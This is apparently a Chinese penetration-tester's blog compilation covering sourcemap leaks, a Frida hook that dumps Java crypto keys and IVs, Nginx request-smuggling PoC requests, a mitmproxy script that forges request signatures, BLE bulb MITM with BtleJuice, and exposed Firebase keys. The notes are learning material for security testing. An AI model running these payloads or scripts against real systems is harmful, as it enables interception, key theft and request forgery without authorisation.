sourcemap文件泄露漏洞

本文转自小心灵呀 并作补充

最近进行渗透测试时，时常遇到xray扫出sourcemap文件，每次扫到都要百度，因此做个笔记。

漏洞原理

在日常测试时，经常会遇到以js.map为后缀的文件
这是jQuery中的一个新功能，支持Source Map
非常多Webpack打包的站点都会存在js.map文件.
通过sourcemap可还原前端代码找到API,间接性获取未授权访问漏洞

什么是Source map
简单说，Source map就是一个信息文件，里面储存着位置信息。转换后的代码的每一个位置，所对应的转换前的位置。
有了它，出错的时候，除错工具将直接显示原始代码，而不是转换后的代码,这无疑给开发者带来了很大方便。

漏洞复现

使用xray扫到 dirscan/sourcemap/default 漏洞。

直接访问链接可下在sourcemap文件，利用该文件还原源代码需使用reverse-sourcemap工具。
先安装：nodejs，
下载地址：https://nodejs.org/zh-cn/download/
选择适合自己操作系统的版本：

双击下载后的文件，一路点击 next即可成功安装

安装完nodejs后，控制台输入：

1

npm -v

即可查看安装的版本。

然后安装 reverse-sourcemap

1	npm install --global reverse-sourcemap

安装完成（PS：我电脑中已经有reverse-sourcemap，所以大家如果为初次安装看到信息可能跟我不一样）。

安装完成后，将其加入环境变量

检查是否安装成功：

1	reverse-sourcemap -h

安装成功

还原map文件

1	reverse-sourcemap -v ****.js.map -o output

map文件会还原到 output文件

同时还可以通过浏览器，开发者模式-source模块查看前端源代码

漏洞修复

临时的解决方法就是删除代码目录下的.map文件；
永久的解决方法就是在build的时候禁用产生map文件的功能；
在scripts/build下的build.js 文件中添加如下配置：
process.env.GENERATE_SOURCEMAP = ‘false’;
重新build就不会再产生sourcemap文件了

参考资料

如何还原前端代码

Frida java层自吐加密算法

本文转自愧怍 并作补充

代码

针对 java 层加密算法，能 hook 到 java 自带的加密函数库

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220

const config = {
  showStacks: false,
  showDivider: true,
}

Java.perform(function () {
  // console.log('frida 已启动');
  function showStacks(name = '') {
    if (config.showStacks) {
      console.log(Java.use('android.util.Log').getStackTraceString(Java.use('java.lang.Throwable').$new(name)))
    }
  }

  function showDivider(name = '') {
    if (config.showDivider) {
      console.log(`==============================${name}==============================`)
    }
  }

  function showArguments() {
    console.log('arguments: ', ...arguments)
  }

  const ByteString = Java.use('com.android.okhttp.okio.ByteString')
  const Encode = {
    toBase64(tag, data) {
      console.log(tag + ' Base64: ', ByteString.of(data).base64())
      // console.log(tag + ' Base64: ', bytesToBase64(data));
    },
    toHex(tag, data) {
      console.log(tag + ' Hex: ', ByteString.of(data).hex())
      // console.log(tag + ' Hex: ', bytesToHex(data));
    },
    toUtf8(tag, data) {
      console.log(tag + ' Utf8: ', ByteString.of(data).utf8())
      // console.log(tag + ' Utf8: ', bytesToString(data));
    },
    toAll(tag, data) {
      Encode.toUtf8(tag, data)
      Encode.toHex(tag, data)
      Encode.toBase64(tag, data)
    },
    toResult(tag, data) {
      Encode.toHex(tag, data)
      Encode.toBase64(tag, data)
    },
  }

  const MessageDigest = Java.use('java.security.MessageDigest')
  {
    let overloads_update = MessageDigest.update.overloads
    for (const overload of overloads_update) {
      overload.implementation = function () {
        const algorithm = this.getAlgorithm()
        showDivider(algorithm)
        showStacks(algorithm)
        Encode.toAll(`${algorithm} update data`, arguments[0])
        return this.update(...arguments)
      }
    }

    let overloads_digest = MessageDigest.digest.overloads
    for (const overload of overloads_digest) {
      overload.implementation = function () {
        const algorithm = this.getAlgorithm()
        showDivider(algorithm)
        showStacks(algorithm)
        const result = this.digest(...arguments)
        if (arguments.length === 1) {
          Encode.toAll(`${algorithm} update data`, arguments[0])
        } else if (arguments.length === 3) {
          Encode.toAll(`${algorithm} update data`, arguments[0])
        }

        Encode.toResult(`${algorithm} digest result`, result)
        return result
      }
    }
  }

  const Mac = Java.use('javax.crypto.Mac')
  {
    Mac.init.overload('java.security.Key', 'java.security.spec.AlgorithmParameterSpec').implementation = function (key, AlgorithmParameterSpec) {
      return this.init(key, AlgorithmParameterSpec)
    }
    Mac.init.overload('java.security.Key').implementation = function (key) {
      const algorithm = this.getAlgorithm()
      showDivider(algorithm)
      showStacks(algorithm)
      const keyBytes = key.getEncoded()
      Encode.toAll(`${algorithm} init Key`, keyBytes)
      return this.init(...arguments)
    }

    // let overloads_update = Mac.update.overloads;
    // for (const overload of overloads_update) {
    //   overload.implementation = function () {
    //     const algorithm = this.getAlgorithm();
    //     showDivider(algorithm);
    //     showStacks(algorithm);
    //     Encode.toAll(`${algorithm} update data`, arguments[0]);
    //     return this.update(...arguments);
    //   };
    // }

    let overloads_doFinal = Mac.doFinal.overloads
    for (const overload of overloads_doFinal) {
      overload.implementation = function () {
        const algorithm = this.getAlgorithm()
        showDivider(algorithm)
        showStacks(algorithm)
        const result = this.doFinal(...arguments)
        if (arguments.length === 1) {
          Encode.toAll(`${algorithm} update data`, arguments[0])
        } else if (arguments.length === 3) {
          Encode.toAll(`${algorithm} update data`, arguments[0])
        }

        Encode.toResult(`${algorithm} doFinal result`, result)
        return result
      }
    }
  }

  const Cipher = Java.use('javax.crypto.Cipher')
  {
    let overloads_init = Cipher.init.overloads
    for (const overload of overloads_init) {
      overload.implementation = function () {
        const algorithm = this.getAlgorithm()
        showDivider(algorithm)
        showStacks(algorithm)

        if (arguments[0]) {
          const mode = arguments[0]
          console.log(`${algorithm} init mode`, mode)
        }

        if (arguments[1]) {
          const className = JSON.stringify(arguments[1])
          // 安卓10以上私钥是有可能输出不了的
          if (className.includes('OpenSSLRSAPrivateKey')) {
            // const keyBytes = arguments[1];
            // console.log(`${algorithm} init key`, keyBytes);
          } else {
            const keyBytes = arguments[1].getEncoded()
            Encode.toAll(`${algorithm} init key`, keyBytes)
          }
        }

        if (arguments[2]) {
          const className = JSON.stringify(arguments[2])
          if (className.includes('javax.crypto.spec.IvParameterSpec')) {
            const iv = Java.cast(arguments[2], Java.use('javax.crypto.spec.IvParameterSpec'))
            const ivBytes = iv.getIV()
            Encode.toAll(`${algorithm} init iv`, ivBytes)
          } else if (className.includes('java.security.SecureRandom')) {
          }
        }

        return this.init(...arguments)
      }
    }

    // let overloads_update = Cipher.update.overloads;
    // for (const overload of overloads_update) {
    //   overload.implementation = function () {
    //     const algorithm = this.getAlgorithm();
    //     showDivider(algorithm);
    //     showStacks(algorithm);
    //     Encode.toAll(`${algorithm} update data`, arguments[0]);
    //     return this.update(...arguments);
    //   };
    // }

    let overloads_doFinal = Cipher.doFinal.overloads
    for (const overload of overloads_doFinal) {
      overload.implementation = function () {
        const algorithm = this.getAlgorithm()
        showDivider(algorithm)
        showStacks(algorithm)
        const result = this.doFinal(...arguments)
        if (arguments.length === 1) {
          Encode.toAll(`${algorithm} update data`, arguments[0])
        } else if (arguments.length === 3) {
          Encode.toAll(`${algorithm} update data`, arguments[0])
        }

        Encode.toResult(`${algorithm} doFinal result`, result)
        return result
      }
    }
  }

  const Signature = Java.use('java.security.Signature')
  {
    let overloads_update = Signature.update.overloads
    for (const overload of overloads_update) {
      overload.implementation = function () {
        const algorithm = this.getAlgorithm()
        showDivider(algorithm)
        showStacks(algorithm)
        Encode.toAll(`${algorithm} update data`, arguments[0])
        return this.update(...arguments)
      }
    }

    let overloads_sign = Signature.sign.overloads
    for (const overload of overloads_sign) {
      overload.implementation = function () {
        const algorithm = this.getAlgorithm()
        showDivider(algorithm)
        showStacks(algorithm)
        const result = this.sign()
        Encode.toResult(`${algorithm} sign result`, result)
        return this.sign(...arguments)
      }
    }
  }
})

（CVE-2020-12440）Nginx <= 1.8.0 请求走私

本文转自nosafer 并作补充

一、漏洞简介

Nginx 1.18.0及之前版本中存在安全漏洞。攻击者可利用该漏洞进行缓存投毒，劫持凭证或绕过安全保护。

二、漏洞影响

Nginx <= 1.8.0

三、复现过程

Request

1
2
3
4
5
6
7

GET /test.html HTTP/1.1
Host: www.0-sec.org
Content-Length: 2

GET /poc.html HTTP/1.1
Host: www.0-sec.org
Content-Length: 15

Response

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Fri, 01 May 2020 18:28:44 GMT
Content-Type: text/html
Content-Length: 33
Last-Modified: Thu, 30 Apr 2020 14:36:32 GMT
Connection: keep-alive
ETag: "5eaae270-21"
Accept-Ranges: bytes

<html><h1>Test Page!</h1></html>
HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Fri, 01 May 2020 18:28:44 GMT
Content-Type: text/html
Content-Length: 15
Last-Modified: Thu, 30 Apr 2020 14:35:41 GMT
Connection: keep-alive
ETag: "5eaae23d-f"
Accept-Ranges: bytes

NGINX PoC File

其他例子

Request（200 OK + 405 Method Not Allowed）

1
2
3
4
5
6
7
8
9
10
11
12
13
14

GET / HTTP/1.1
Host: www.0-sec.org
Content-Length: 4
Transfer-Encoding : chunked


46
TRACE / HTTP/1.1
Host:www.0-sec.org
Content-Length:15


kk
0s

Response（200 OK + 405 Method Not Allowed）

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51

HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Tue, 21 Apr 2020 16:28:12 GMT
Content-Type: text/html
Content-Length: 612
Last-Modified: Tue, 21 Apr 2020 16:08:59 GMT
Connection: keep-alive
ETag: "5e9f1a9b-264"
Accept-Ranges: bytes


<!DOCTYPE html>
<html>
<head>
<title>Welcome to nginx!</title>
<style>
    body {
        width: 35em;
        margin: 0 auto;
        font-family: Tahoma, Verdana, Arial, sans-serif;
    }
</style>
</head>
<body>
<h1>Welcome to nginx!</h1>
<p>If you see this page, the nginx web server is successfully installed and
working. Further configuration is required.</p>

<p>For online documentation and support please refer to
<a href="http://nginx.org/">nginx.org</a>.<br />
Commercial support is available at
<a href="http://nginx.com/">nginx.com</a>.</p>

<p><em>Thank you for using nginx.</em></p>
</body>
</html>
HTTP/1.1 405 Not Allowed
Server: nginx/1.18.0
Date: Tue, 21 Apr 2020 16:28:12 GMT
Content-Type: text/html
Content-Length: 157
Connection: close


<html>
<head><title>405 Not Allowed</title></head>
<body>
<center><h1>405 Not Allowed</h1></center>
<hr><center>nginx/1.18.0</center>
</body>
</html>

Request（200 OK + 404 Not Found）

1
2
3
4
5
6
7
8
9
10
11
12

GET / HTTP/1.1
Host: www.0-sec.org
Content-Length: 4
Transfer-Encoding : chunked

46
GET /404 HTTP/1.1
Host:www.0-sec.org
Content-Length:15

kk
0s

Response（200 OK + 404 Not Found）

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51

HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Tue, 21 Apr 2020 16:23:52 GMT
Content-Type: text/html
Content-Length: 612
Last-Modified: Tue, 21 Apr 2020 16:08:59 GMT
Connection: keep-alive
ETag: "5e9f1a9b-264"
Accept-Ranges: bytes


<!DOCTYPE html>
<html>
<head>
<title>Welcome to nginx!</title>
<style>
    body {
        width: 35em;
        margin: 0 auto;
        font-family: Tahoma, Verdana, Arial, sans-serif;
    }
</style>
</head>
<body>
<h1>Welcome to nginx!</h1>
<p>If you see this page, the nginx web server is successfully installed and
working. Further configuration is required.</p>

<p>For online documentation and support please refer to
<a href="http://nginx.org/">nginx.org</a>.<br />
Commercial support is available at
<a href="http://nginx.com/">nginx.com</a>.</p>

<p><em>Thank you for using nginx.</em></p>
</body>
</html>
HTTP/1.1 404 Not Found
Server: nginx/1.18.0
Date: Tue, 21 Apr 2020 16:23:52 GMT
Content-Type: text/html
Content-Length: 153
Connection: keep-alive


<html>
<head><title>404 Not Found</title></head>
<body>
<center><h1>404 Not Found</h1></center>
<hr><center>nginx/1.18.0</center>
</body>
</html>

BurpSuite作为代理，复用目标站点的js代码处理指定的内容

本文转自thinkoaa 并作补充

0x01 前言

之前写了一个burp插件，直接使用目标站点的加密js来解决用intruder模块爆破时的payload加密问题

地址：https://www.freebuf.com/sectool/242363.html

除了上面的情况外，有时还会遇到把burp当作代理，调用网站的js代码处理来自浏览器、sqlmap等工具的内容情况。

比如目标网站的参数调用了js加密算法，不管是手动访问也好，还是sqlmap注入也好，需要调用指定算法处理参数，用python或java重写算法的话呢，时间成本太高，有些算法还挺复杂……但，如果能够直接复用目标网站的js代码的话就太方便了。

因此，简单写了一个burp suite插件，专门解决上述问题：下载地址：JSFlash

使用步骤是 可以参考我之前另一个插件的文章 参考地址：

1. 1.把目标站点的相关js代码放到本地js文件中，调试可用；
2. 2.把JSFlash插件导入到Burp Suite中，在插件中加载指定的js文件并填写对应的参数；
3. 3.抓包发repeater做测试，如果效果符合预期，则该插件会根据指定的规则，调用js代码，处理指定的内容。

效果图：

0x02 使用方法

1.从目标站点复制修改或者手动写好js代码，调试正确

因为插件是通过java调用js，因此window、document等对象及方法，还有一些很新的js特性可能在浏览器中执行正确，但插件调用时会报错，因此插件会把可能产生的错误信息弹出显示，方便根据实际逻辑修改，根据我的经历来看，不管多复杂，只要耐心点，没有改不了的情况，如图：

再举一个例：

2.导入插件，设置参数

2.1 设置url，一定要用burp的Copy URL菜单复制，不要手动填写，以免出错：

2.2 设置处理指定内容的规则

GET方式:

php代码如图：

处理结果：

POST方式：

php代码如图：

结果如图：

一次调用多个方法，处理多个指定内容：

数据包：

规则：

php代码：

结果：

0x03 总结

这个插件用到的时候，需要具体情况具体分析，不过思路是这么个思路，目的就是复用js代码，提高工作效率。

JS逆向-数据包解签名实战案例

本文转自ichi9o 并作补充

0x00 前言

通常情况下，数据包中的签名字段会包含sign字符串，如sign、appsign等等，然后根据字段在JS代码中寻找签名的过程，并进行分析。
以下内容为一个真实案例，撒，哈气灭路！

0x01 获取被签名数据

通过数据包可知该网站的签名字段是 sign

在浏览器中的源代码搜索字段sign，找到签名代码
首当其冲的就是app.*.js样式的文件，在app.72b81572.js文件中发现了可疑点

分析 function k(e) 可知，是要对 r 参数进行签名的，r 又跟e、t、a、n 这几个参数相关，因此要搞清楚这几个参数的值是怎么来的，所有就在函数开始的第一行就下断点来跟进。

1 2 3 4 5 6 7 8 9 10 11 12

function k(e) { const t = g() , n = m(); let a; a = e ? b(e) : {}; const r = e ? `${c.a.stringify(a.hasParams)}&${t}&time=${n}` : `&${t}&time=${n}`; return e = Object.assign({}, a.params, { sign: h()(decodeURIComponent(r)), time: n }), e }

首先是 t，跟进 g 函数，执行到 return 就可以发现 t = 年 + “5616” + 月 + 日

然后就是 n，这个 e 的值呢，根据跟进可知是 cookie 里面的，不过这个 e 在本案例的作用不大，最后通过 return 就可以知道返回的值就是：当前时间戳- e

接下来就是 a，根据返回的结果可知 a 的值和 e 相同，通过分析数据包可知，e的内容即请求参数（GET）或请求体（POST）

然后 r 的值就出来了，也就是签名的明文

综上所述
r = 请求内容 + & + t + & + n（这里的请求内容需要注意的是，POST Data是Json格式的要转换为：key1=value1&key1=value1…）
其中
t = 年 + “5616” + 月 + 日
n = 当前时间戳（本案例可不减e也可成功）

0x02 分析加密算法

将断点打在签名代码行，跟进代码的执行，发现加密的类名是 Md5，所有可以计算 r 的 md5 值，与代码执行的 sign 结果进行比较。

可以看到，该网站使用的是 md5 计算的 sign

0x03 编写 mitmproxy 脚本

mitmproxy 脚本是实时加载的，因此 mitmproxy 只要带着脚本运行，就可以边调试了。
mitmproxy 使用命令

1	mitmdump -p 777 -s .\mitmscript.py --flow-detail 0

关于脚本的编写这里给出以下 mitmproxy 的一些常用的属性和方法ctx：

• ctx.log.info(): 用于在 mitmproxy 的日志中输出信息。
• ctx.options: 用于访问 mitmproxy 的配置选项，您可以在配置文件中定义这些选项。
• ctx.master: mitmproxy 的 Master 对象，提供了一些控制代理行为的方法。
• ctx.proxy: mitmproxy 的 ProxyConfig 对象，提供了有关代理配置的信息。
• ctx.client: mitmproxy 的 ClientConnection 对象，表示客户端连接的相关信息。
• ctx.server: mitmproxy 的 ServerConnection 对象，表示服务器连接的相关信息。
• ctx.protocol: mitmproxy 的 ProtocolHandler 对象，表示处理请求和响应的协议处理器。

在 mitmproxy 脚本中，可以使用以下一些回调函数来处理不同阶段的 flow 对象：

• def request(flow: mitmproxy.http.HTTPFlow) -> None: 当 mitmproxy 拦截到请求时调用此回调函数，可以获取和处理请求的各种信息。
• def response(flow: mitmproxy.http.HTTPFlow) -> None: 当 mitmproxy 拦截到响应时调用此回调函数，可以获取和处理响应的各种信息。
• def error(flow: mitmproxy.http.HTTPFlow) -> None: 当请求或响应出现错误时调用此回调函数，可以获取和处理错误信息。
• def clientconnect(flow: mitmproxy.tcp.TCPFlow) -> None: 当客户端连接到 mitmproxy 时调用此回调函数，可以获取和处理客户端连接的相关信息。
• def serverconnect(flow: mitmproxy.tcp.TCPFlow) -> None: 当 mitmproxy 连接到服务器时调用此回调函数，可以获取和处理服务器连接的相关信息。
• flow.request.method: 获取请求的方法（GET、POST等）。
• flow.request.scheme: 获取请求的协议（http 或 https）。
• flow.request.host: 获取请求的主机名。
• flow.request.port: 获取请求的端口号。
• flow.request.path: 获取请求的路径部分。
• flow.request.url: 获取完整的请求URL。
• flow.request.headers: 获取请求的头部信息，是一个字典对象，可以通过键来访问特定的头部字段。
• flow.request.cookies: 获取请求中的Cookie信息，是一个字典对象，可以通过键来访问特定的Cookie。
• flow.request.query: 获取请求的查询参数，是一个字典对象，可以通过键来访问特定的查询参数。
• flow.request.content: 获取请求的内容，如果请求是POST请求且带有内容，则可以通过该属性来访问请求的内容。
• flow.request.text: 获取请求的内容，并以文本形式返回。
• flow.request.urlencoded_form: 获取请求的URL编码表单数据，是一个字典对象，可以通过键来访问特定的表单字段。
• flow.request.multipart_form: 获取请求的多部分表单数据，是一个列表对象，列表中的每个元素都是一个字典，表示一个表单字段。
• flow.request.content: 获取请求的原始内容，以字节形式返回。

附上本案例的代码供参考

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71

from datetime import datetime from mitmproxy import ctx import hashlib import random import json import time class Modify: def __init__(self): self.plaintext = '' self.new_sign = '' current_datetime = datetime.now() self.today = f"{current_datetime.year}5616{current_datetime.month:02d}{current_datetime.day:02d}" def md5(self): md5_hash = hashlib.md5() md5_hash.update(self.plaintext.encode('utf-8')) self.new_sign = md5_hash.hexdigest() def request(self, flow): if flow.request.method == "POST": ctx.log.info(f'\n原POST请求体：{flow.request.text}') data = json.loads(flow.request.get_text()) if data != '{}' and 'sign' in data: del data['sign'] del data['time'] for k in data: self.plaintext += f"{k}={str(data[k])}&" timestamp = int(time.time() * 1000) self.plaintext += f"{self.today}&time={timestamp}" self.md5() data["sign"] = self.new_sign data["time"] = timestamp flow.request.set_text(json.dumps(data).replace(' ', '')) ctx.log.info(f'\n新POST请求体：{flow.request.text}') self.plaintext = '' else: ctx.log.info('无参数，无需改签') elif flow.request.method == "GET": ctx.log.info(f'\n原GET请求体：{flow.request.query}') query = flow.request.query if query != '{}' and 'sign' in query: del query['sign'] del query['time'] if query: for k in query: self.plaintext += f"{k}={str(query[k])}&" else: self.plaintext = "&" timestamp = int(time.time()) * 1000 self.plaintext += f"{self.today}&time={timestamp}" self.md5() query["sign"] = self.new_sign query["time"] = timestamp ctx.log.info(f'\n新GET请求体：{flow.request.query}') self.plaintext = '' else: ctx.log.info('无参数，无需改签') @staticmethod def response(flow): if '签名校验失败!' in flow.response.text: ctx.log.error(f'\n签名异常：\nurl => {flow.request.path}\n异常信息 => {flow.response.text}') addons = [ Modify() ]

技术分享 | 如何使用BtleJuice黑入BLE智能电灯泡

本文转自seclst 并作补充

前言

在这篇文章中，我们将讨论如何使用BtleJuice通过执行中间人（MiTM）攻击来利用一个蓝牙低能耗（BLE）智能灯泡。本文中探讨的技术，也同样适用于其他基于BLE的智能设备。

概述

本文的主要内容包括：

1 2 3 4 5 6 7

安装BtleJuice； 分析在目标设备上运行的所有截获的GATT操作； 使用GATT操作执行Man-in-the-middle（中间人）攻击； 将数据导出到文件。

以下是一些必须满足的基本硬软件要求：

硬件

1 2 3

基于BLE的物联网智能灯泡 两个蓝牙适配器

软件

1 2 3 4 5

Node.js > 4.3.2 虚拟机（VMware/Virtual Box） BtleJuice

安装 BtleJuice

BtleJuice是执行蓝牙智能设备的中间人攻击（也被称为蓝牙低能量）的完整框架。BtleJuice由两个组件组成 - 拦截代理和核心。这两个组件需要在两个系统上单独运行，每个系统都连接了蓝牙4.0+适配器。我们将使用一台物理机器和另一台运行在同一主机上的虚拟机（VM）。

注意：不是使用两台独立的物理机器。其中一个适配器将连接到主机，另一个适配器连接到VM。下面，我们按照以下步骤在主机和VM上来安装BtleJuice。

Step 1：Btlejuice需要一个相当新版本的node(>=4.3.2) 和npm。你可以按照本指南使用nvm（Node 版本管理器）来进行安装。

Step 2：使用包管理器安装BtleJuice的依赖项：

1	sudo apt-get install bluetooth bluez pbbluetooth-dev pbudev-dev

Step 3：安装 Btlejuice：

1	npm install -g btlejuice

设置BtleJuice代理（在VM中）

Step 1：将蓝牙适配器连接到VM并启动蓝牙：

1	service bluetooth start

Step 2：通过hciconfig命令查看适配器是否已按预期工作：

Step 3：在虚拟机中启动btlejuice-proxy：

Step 4：找到VM的IP地址，以便我们可以从主机连接到它。或在终端中运行ifconfig来获取IP：

设置BtleJuice核心（在主机上）

Step 1：在主机上打开终端并运行hciconfig：

Step 2：运行sudo service bluetooth stop停止蓝牙服务：

Step 3：在主机上插入蓝牙适配器：

Step 4：通过hciconfig命令查看连接到主机的蓝牙适配器是否已按预期工作：

Step 5：通过运行sudo hciconfig hciX up打开蓝牙适配器，其中的X是上一步中获得的蓝牙适配器号：

Step 6：现在我们需要运行BtleJuice核心并连接虚拟机：

1	sudo btlejuice -u <VM IP address> -w

其中u是运行btlejuice-proxy的VM的IP地址，w表示启动Web界面：

与此同时，在VM中运行的btlejuice-proxy将会显示客户端连接的消息：

Step 7：一旦主机上运行的BtleJuice核心成功连接到bltjejuice-proxy，我们打开浏览器并导航至http://localhost:8080/：

Step 8：单击蓝牙图标的 “Select Target”按钮。此时将会出现一个对话框，并显示核心检测到的所有可用蓝牙设备：

Step 9：双击目标设备并等待接口准备就绪（蓝牙按钮方面将改变）：

Step 10：将关联的移动应用程序与刚创建的dummy设备连接：

Step 11：如果连接成功，则主界面上将显示已连接的事件：

通过重放GATT操作执行中间人攻击

BtleJuice充当移动应用程序和BLE智能灯泡之间的代理，发送到灯泡的任何命令都将被BtleJuice捕获并被转发给灯泡。

让我们使用移动应用程序与灯泡进行交互，并尝试破译命令的结构方式。

Step 1：使用Android应用程序将灯泡颜色更改为蓝色，蓝色的RGB值为：2, 0, 255：

BtleJuice捕获相应的数据包：

现在将灯泡颜色更改为红色，RGB值为： 255, 8, 0：

BtleJuice捕获与命令相对应的数据包，以将颜色更改为红色：

检查数据包，我们可以注意到一个模式。应用程序中显示的颜色的RGB值与捕获中的第二个，第三个和第四个字节匹配。

因此，如果我们更改这些字节然后重放数据包，应该能够获得不同的颜色。

Step 2：从捕获的数据包列表中，右键单击颜色更改命令，然后单击replay：

Step 3：将数据值中的颜色字节从8c 86 ff更改为任何其他值，例如8c 45 ff，这是一种带有紫色调的颜色：

Step 4：单击“ Write”按钮。 我们会注意到灯泡颜色变为了紫色：

导出捕获的数据

BtleJuice可以将捕获的数据导出到文件中，以便以后使用或在其他工具中进行分析。

单击export按钮并下载捕获数据的JSON（或文本）版本：

至此，我们已经演示了BtleJuice作为独立工具的使用。

此外，BtleJuice还提供了NodeJS和Python bindings，我们可以在我们自己的BLE攻击工具中使用它。有关更多信息，请参阅此处。

Firebase Installations API 密钥硬编码

起因

新公司让我对应用移动端产品也渗透一下，自然地想到移动端APK相关的自动化检测工具，于是Docker起了一个MobSF跑了下检测，算是做个铺垫。

当然还不如自己手动测来的漏洞直接，自动化扫描得出的结果不一定都具有直接性和威胁性，但MobSF还支持动态检测，实测下来确实能自动化访问activity事件，但每次调用Frida去执行注入测试的时候就会出大大小小的问题：

1. 目前Mac M1/M2芯片由于ARM架构的问题，还无法完全解决Genymotion跑不了ARM包的问题（Genymotion给的MAC客户端实现用的是X86架构，完全不是官方说的因为是ARM芯片就可以直接支持ARM包了，实践出真知），M1/M2可使用的系统目前只有Android11，无法打translation包
2. 很多移动应用做了SSL-Pinning等方式防抓包，需要用各种Posed去解，这些操作可能会与MobSF动态检测的模块冲突与覆盖（如MobSF动态检测会自动植入证书）

虽然对个人的工作不会带来太大的影响（又不是没有扫描器就不会渗透了），但我还是想流畅地使用一回动态检测啊，看看能达到什么层度，有这个执念在，我萌生了一个想法：

互联网上有没有别人搭建好的完整检测平台呢？

资产发现

还真被我找到一个，而且像是官方搭建的站点，此处相关域名隐去，不予展开。

作为一个安全人员，自然会考虑提交检测的包会上传存储在哪及检测内容是否会暴露的问题，于是我先下意识地访问了recent scans：

这是啥？！为什么我能看到今天所有提交检测的应用，并且可以看到完整的检测报告？！而且更哈人的是，举例应用竟然是未对外发布的内部研发版本（官网版本2.0.011 < 研发版本2.0.015），且没有做加固之类的！

这不禁让我想到了两个问题：

1. MobSF这个线上检测平台肯定是没做好权限划分的，或者从设计来说MobSF可能就没实现这点，因为一般都是在本地部署的检测平台；纵使在后台做了定期清理数据的策略，在短期内这些检测内容还是会留存下来
2. 所有被检测的应用可以被任意的人员查看，如果有安全问题很有可能线上版本也存在类似问题，而且数据泄漏就是泄漏了，在一段时间内一个访问凭证都将是有效的，即使你知道它已经泄露，会因为你不知道多少功能调用用到了这个凭证而不敢直接替换

那么这个应用里有什么呢？

API Key泄露

直接上图，这些码应该够了吧：

除了显而易见的google_maps_key 外，apk内还硬编码了firebase_database_url、google_api_key、google_app_id、google_storage_bucket 等敏感参数（有些是我直接获取源包找的），firebase_database_url 直接访问果然无权限，但是剩下的几个参数是怎么调用的？能获得什么信息呢？

首先猜测和存储空间有关，但不对，Google Cloud并不是用这样的参数类型请求访问的；那既然存在firebase_database_url，会不会和Firebase有关？一番文档翻找下，我大致了解了Firebase是啥，还有一部分的API调用，并知道了相关的API Key是在什么位置被生成又用于何处的：

之后要做的事情就简单了，构造一个请求，就可以获取到与Firebase服务器交互许可的凭证了：

之后的操作就不做了，扩大影响面应该很容易，所以为什么要演奏春日……啊不对，为什么要把应用程序的报告暴露在公开检测平台！

参考引用

Deploy an application - Desktop User Guide

How to install Xposed/EdXposed/LSPosed + Magisk with Genymotion Desktop?

管理 Firebase 安装

排查初始化选项问题

QQ群名称改动的一些小问题

写在前面

别问我为啥最近更博客更这么勤，首先我得承认，确实新公司在我试用期的时候没有安排很多复杂的活给我干，虽然这样，但也不代表我每天能产出或者转载这么多文章，毕竟都是技术文章，都要自己看过理解再push上来的，每天有这么多时间吗？

前段时间没有，这段时间有了= =

因为临近年关，加上推进DLP和其他安全服务都阻塞在了钱上，导致最近我甚至能在Copy之于，写几篇这样的原创文章，分享下杂七杂八的技术来了。

但说实话，不论是转载来的文章还是自己原创的文章，都是比较久前接触到的知识了，也就是即使我是现在写出来的，接触我所描述的技术也是在大半年前甚至一年多前了（比如下文），每次写博客就是这样把旧东西重新捡拾的过程，有点像中学时期的错题本，常看常新，再看再新……

所以这不算是在工位上摸鱼哦，是增长技术积累，嗯，一定是这样。

问题二则

其一：讨论组的实现与群聊不同

读者要说了：你这是废话

之前在QQ创建讨论组和创建群的方式就不一样，实现上不一致是很自然的事情，但是在作者写这篇文章的时候，QQ已经把“创建讨论组”这一功能下线了，所有的讨论组理论上也都自动转群了。

那么这个时候，讨论组转成的群和直接创建的群有什么差异吗？毕竟现在看起来一摸一样，转换后的群是重构了实现还是直接被套了个群外壳？

任意群成员可修改群名

在讨论组内，大家的权限划分是较为统一的，或者可以理解为没有做好权限划分，在转群后群成员仍被赋予了较高的权限，如：在只有一个群主的讨论组转群里，即便其他群成员不是管理员也可以随意修改群名（甚至可以扩展到其他信息）：

而对于直接创建的群来说，群名称是无法被任意群成员提交修改的：

其二：QQ客户端群名称修改注入

对于第一个问题，大家肯定会说这有啥，连个越权都算不上，利用不起来，顶多整蛊无辜群主，钓鱼诈骗都难利用起来，无意义，忽略了！（很像是SRC漏洞审核员会脱口而出的话呢）

那么，如果我顺着这个思路，触发一下客户端的注入，阁下又该如何应对？

首先可以看出QQ的客户端（包括TIM）在PC和移动端对群名称修改的实现不同：对于同一个POC，移动端将闭合字符后续的代码段全部解析，PC端收到POC的影响进行了三次群名称修改且名称不同，第一次修改可能也将闭合字符后续的代码段解析。

具体实现和步骤无，只是记录下自己发现的小问题，这个点能触发什么利用也在此不做讨论。

V2ray协议爆发了重大安全漏洞

本文转自DolorHunter 并作补充

服务器端的 V2ray 更新到 v4.23.4 以及之后的版本可以解决这一问题, 请大家尽快更新.

